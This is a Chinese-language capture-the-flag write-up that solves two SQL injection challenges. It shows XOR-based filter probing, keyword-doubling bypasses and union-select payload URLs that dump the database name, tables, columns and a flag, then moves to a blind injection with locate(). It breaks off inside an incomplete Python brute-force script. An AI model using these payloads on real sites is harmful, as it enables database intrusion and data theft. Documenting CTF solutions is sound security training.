首先我们判断一下是什么注入类型
注意输入的是英文字符',中文不会转变为%27,报错,说明是字符注入
这时候我们就要判断一下SQL网站过滤了什么内容,我们可以使用异或注入来判断哪些字符串被过滤掉了
http://120.24.86.145:9004/1ndex.php?id=1%27^(0)%23
正常运行,我们在输入
http://120.24.86.145:9004/1ndex.php?id=1%27^(1)%23
出现错误,这是因为id后面的内容首先要和^后面的内容进行异或,报错的语句是因为抑或以后id变为0数据库查找不到相关的信息,产生错误,也就是括号里得到内容如果为真则会产生错误,为假则会正常运行,我们可以利用这个进行判断哪些字符被过滤掉了,输入
http://120.24.86.145:9004/1ndex.php?id=1%27^(length(%27union%27)%3E0)%23
%3E是>号,页面显示正常,这就是说length('union')>0这个语句是错误的,也就是union已经被过滤掉了。
通过以上的方法我们可以找到所有被过滤的字符 select union or and 而limit和from没有被过滤
我们构造SQL注入语句
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,2%23
看到了一个回显,就是在2的位置上,我们继续查找数据库名和表名
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,database()%23
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20table_name%20from%20infoorrmation_schema.tables%20where%20table_schema=database()%20limit%200,1)%23
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20column_name%20from%20infoorrmation_schema.columns%20where%20table_schema=database()%20anandd%20table_name=%27flag1%27%20limit%200,1)%23
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20column_name%20from%20infoorrmation_schema.columns%20where%20table_schema=database()%20anandd%20table_name=%27flag1%27%20limit%201,1)%23
得到数据库名称为web1002-1,表名为flag1,有两列,flag1,address
查询flag1得到第一个flag usOwycTju+FTUUzXosjr
因为题目说是有两个flag所以在查询一下address
得到
点击下一关
依然是一个SQL注入的题目,这里比较坑的就是,他的字体显示的是黑色的,当我们输入'的时候
存在SQL注入,并且我们可以从回显中查看哪些被过滤掉了,注意是错误中的显示才是正确的,
输入union没有反应说明是被过滤掉了,输入双重union
发现select也被过滤掉了,
发现无法回显,只能使用脚本进行爆破
http://120.24.86.145:9004/Once_More.php?id=-1%27union%20select%20sleep%20or%20and%20if%20limit%23
发现sleep也被过滤掉了,测试之后发现substr也被过滤掉了,所以使用locate函数达到这样的效果
http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'{',(select user()),2))=2%23
具体的代码
def flag2():
flag =''
for j in xrange(1, 100):
temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?>
其他的测试database和这个的类似